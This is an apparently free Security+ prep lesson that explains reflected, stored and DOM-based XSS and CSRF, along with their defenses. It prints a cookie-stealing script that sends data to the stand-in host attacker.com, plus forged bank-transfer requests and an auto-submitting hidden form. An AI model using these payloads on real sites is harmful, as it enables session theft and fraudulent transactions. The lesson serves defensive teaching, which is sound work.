0Pricing
Cloud & IT Cert Prep · Lesson

Cross-Site Scripting (XSS) and CSRF

Understand reflected, stored, and DOM-based XSS, along with cross-site request forgery attacks, and the browser-level defenses that block them.

Cross-Site Scripting (XSS) and CSRF is a free Cloud & IT Cert Prep lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cloud & IT Cert Prep learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

What Is Cross-Site Scripting?

Cross-Site Scripting (XSS) is a client-side injection vulnerability where an attacker injects malicious scripts into web pages viewed by other users. Unlike SQL injection, which targets the server, XSS targets the victim's browser. When the browser renders the attacker's script, it executes with the same privileges as legitimate page scripts — enabling session hijacking, credential theft, and malware delivery.

Reflected XSS Explained

Reflected XSS occurs when malicious script is embedded in a URL and the server immediately 'reflects' it back in the HTTP response without proper encoding. The victim is tricked (often via a phishing link) into clicking the crafted URL, causing their browser to execute the attacker's script. Reflected XSS is non-persistent — it only executes when the victim clicks the malicious link.

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

Stored XSS and DOM-Based XSS

Stored (persistent) XSS embeds malicious script in the application's database — for example, in a comment or forum post. Every user who views that content has the script executed in their browser, making stored XSS far more dangerous than reflected XSS. DOM-based XSS occurs entirely in the browser when client-side JavaScript reads attacker-controlled data from the DOM (e.g., the URL fragment) and writes it back to the page unsafely.

XSS Defenses: Encoding and CSP

The primary defense against XSS is output encoding: convert special characters to their HTML entity equivalents (&lt;, &gt;, &amp;) before rendering them in the browser. A Content Security Policy (CSP) header restricts which scripts may execute, providing an important secondary defense. Input validation (allowlisting) should also be applied on the server side.

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

What Is Cross-Site Request Forgery?

Cross-Site Request Forgery (CSRF) exploits the trust a website has in an authenticated user's browser. An attacker tricks a victim's browser into sending an unwanted authenticated request to a site where the victim is logged in. Because the browser automatically attaches session cookies, the target server believes the request is legitimate. Common CSRF attacks transfer funds, change email addresses, or alter account settings.

How a CSRF Attack Works

Imagine a user is logged into their bank at bank.com. An attacker sends them an email with a hidden image tag: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. When the email is opened, the browser automatically loads the image URL — sending the transfer request with the victim's bank session cookie attached. The bank processes it as a legitimate request.

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

CSRF Defenses: Tokens and SameSite

The most effective CSRF defense is a CSRF token — a unique, unpredictable value embedded in every form and verified server-side. Because the attacker cannot read the token from a different origin (same-origin policy), forged requests lack a valid token and are rejected. The SameSite cookie attribute (SameSite=Strict or Lax) also prevents browsers from sending cookies in cross-site requests.

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS vs CSRF: Key Differences

XSS and CSRF are often confused but attack different targets. XSS injects malicious script that runs in the victim's browser — exploiting the user's trust in the website. CSRF forges requests from the victim's browser to a trusted site — exploiting the website's trust in the user's browser. XSS can be used to steal CSRF tokens, effectively chaining the two vulnerabilities.

HttpOnly and Secure Cookie Flags

Cookie flags provide important XSS mitigations. The HttpOnly flag prevents JavaScript from accessing the cookie via document.cookie, making session token theft harder even if XSS is present. The Secure flag ensures cookies are only transmitted over HTTPS, preventing interception on unencrypted channels. Both flags should be set on all session cookies as a defense-in-depth measure.

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

Testing for XSS Vulnerabilities

Security testers identify XSS by injecting probe payloads into every input field, URL parameter, HTTP header, and JSON field. A simple probe is <script>alert(1)</script> — if an alert box appears, XSS is confirmed. Tools like Burp Suite automate XSS scanning, and OWASP ZAP provides free active scanning. DOM-based XSS requires browser-side JavaScript analysis rather than server response inspection.

Real-World XSS Impact

XSS attacks have caused significant real-world damage. The Samy worm (2005) spread across MySpace in 20 hours by exploiting stored XSS to self-propagate to over one million profiles. XSS attacks can steal session tokens to fully hijack accounts, redirect users to phishing sites, deliver browser exploits (drive-by downloads), and modify page content to display false information to targeted users.

Quick Check

Test your understanding of CompTIA Security+ (SY0-701) concepts from this lesson.

Lesson Recap

In this lesson you learned: XSS injects scripts into pages viewed by other users, CSRF tricks authenticated browsers into sending forged requests, and output encoding, CSP, CSRF tokens, and the SameSite cookie attribute are the primary defenses. Next up we explore broken authentication and insecure deserialization.

Frequently asked questions

Is the “Cross-Site Scripting (XSS) and CSRF” lesson free?

Yes — the full text of “Cross-Site Scripting (XSS) and CSRF” is free to read here on the web, and the Cloud & IT Cert Prep course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cloud & IT Cert Prep course, upgrade to CoddyKit PRO.

What will I learn in “Cross-Site Scripting (XSS) and CSRF”?

Understand reflected, stored, and DOM-based XSS, along with cross-site request forgery attacks, and the browser-level defenses that block them. You practise Cloud & IT Cert Prep with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Cloud & IT Cert Prep?

No prior experience is required. Cloud & IT Cert Prep on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “Cross-Site Scripting (XSS) and CSRF” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Cloud & IT Cert Prep lesson?

Yes. Every Cloud & IT Cert Prep lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. SQL Injection and Command Injection
  2. Cross-Site Scripting (XSS) and CSRF
  3. Broken Authentication and Insecure Deserialization
  4. Secure SDLC, SAST, and DAST Tools
← Back to Cloud & IT Cert Prep